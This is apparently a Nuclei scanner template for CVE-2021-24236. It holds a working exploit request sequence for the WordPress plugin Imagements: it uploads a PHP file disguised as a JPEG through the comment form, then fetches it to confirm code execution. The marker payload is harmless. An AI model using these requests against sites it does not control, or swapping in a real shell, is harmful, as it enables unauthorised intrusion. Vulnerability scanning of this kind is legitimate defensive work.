83 lines
2.6 KiB
YAML
83 lines
2.6 KiB
YAML
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id: CVE-2021-24236
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info:
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name: WordPress Plugin Imagements 1.2.5 Unauthenticated Arbitrary File Upload
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author: pussycat0x
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severity: critical
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description: |
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The Imagements WordPress plugin through 1.2.5 allows images to be uploaded in comments, however only checks for the Content-Type in the request to forbid dangerous files. This allows unauthenticated attackers to upload arbitrary files by using a valid image Content-Type along with a PHP filename and code, leading to RCE.
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reference:
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- https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24236
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-24236
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cwe-id: CWE-434
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tags: cve,cve2021,upload,rce,wordpress,wp-plugin,imagements
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variables:
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php: "{{to_lower('{{randstr}}')}}.php"
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post: "1"
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requests:
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- raw:
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- |
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POST /wp-comments-post.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="comment"
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{{randstr}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="author"
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{{randstr}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="email"
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{{randstr}}@email.com
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="url"
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="checkbox"
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yes
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="naam"
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{{randstr}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="image"; filename="{{php}}"
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Content-Type: image/jpeg
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<?php echo 'CVE-2021-24236'; ?>
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="submit"
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Post Comment
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="comment_post_ID"
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{{post}}
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
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Content-Disposition: form-data; name="comment_parent"
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0
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------WebKitFormBoundaryIYl2Oz8ptq5OMtbU--
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- |
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GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers:
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- type: word
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part: body_2
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words:
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- "CVE-2021-24236"
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